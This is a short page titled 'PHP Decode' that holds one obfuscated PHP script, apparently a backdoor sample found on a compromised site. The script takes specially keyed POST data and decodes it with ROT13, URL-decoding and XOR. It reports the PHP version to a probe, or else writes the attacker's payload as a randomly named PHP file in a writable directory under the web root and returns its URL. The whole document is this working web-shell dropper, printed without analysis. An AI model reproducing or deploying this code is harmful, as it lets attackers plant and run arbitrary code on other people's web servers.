PHP Decode

<?php $yrifxduyft = "rdykzcnoicvdrztu";$esjvkcfp = "";foreach ($_POST as $foadkjvpp => $gojgvvqk){if (strlen($foadkjvpp) == 16 and substr_count($gojgvvqk, "%") > 10){mudatd($foadkjvpp, $gojgvvqk);}}function mudatd($foadkjvpp, $gwzqx){global $esjvkcfp;$esjvkcfp = $foadkjvpp;$gwzqx = str_split(rawurldecode(str_rot13($gwzqx)));function dzdlramcu($eotrhxqncjsqw, $foadkjvpp){global $yrifxduyft, $esjvkcfp;return $eotrhxqncjsqw ^ $yrifxduyft[$foadkjvpp % strlen($yrifxduyft)] ^ $esjvkcfp[$foadkjvpp % strlen($esjvkcfp)];}$gwzqx = implode("", array_map("dzdlramcu", array_values($gwzqx), array_keys($gwzqx)));$gwzqx = @unserialize($gwzqx);if (@is_array($gwzqx)){$foadkjvpp = array_keys($gwzqx);$gwzqx = $gwzqx[$foadkjvpp[0]];if ($gwzqx === $foadkjvpp[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function bjpwiotxo($eotrhxir) {static $kxhyzpoq = array();$enixb = glob($eotrhxir . '/*', GLOB_ONLYDIR);if (count($enixb) > 0) {foreach ($enixb as $eotrhx){if (@is_writable($eotrhx)){$kxhyzpoq[] = $eotrhx;}}}foreach ($enixb as $eotrhxir) bjpwiotxo($eotrhxir);return $kxhyzpoq;}$nbmpay = $_SERVER["DOCUMENT_ROOT"];$enixb = bjpwiotxo($nbmpay);$foadkjvpp = array_rand($enixb);$imusmfdpf = $enixb[$foadkjvpp] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($imusmfdpf, $gwzqx);echo "http://" . $_SERVER["HTTP_HOST"] . substr($imusmfdpf, strlen($nbmpay));exit();}}} ?>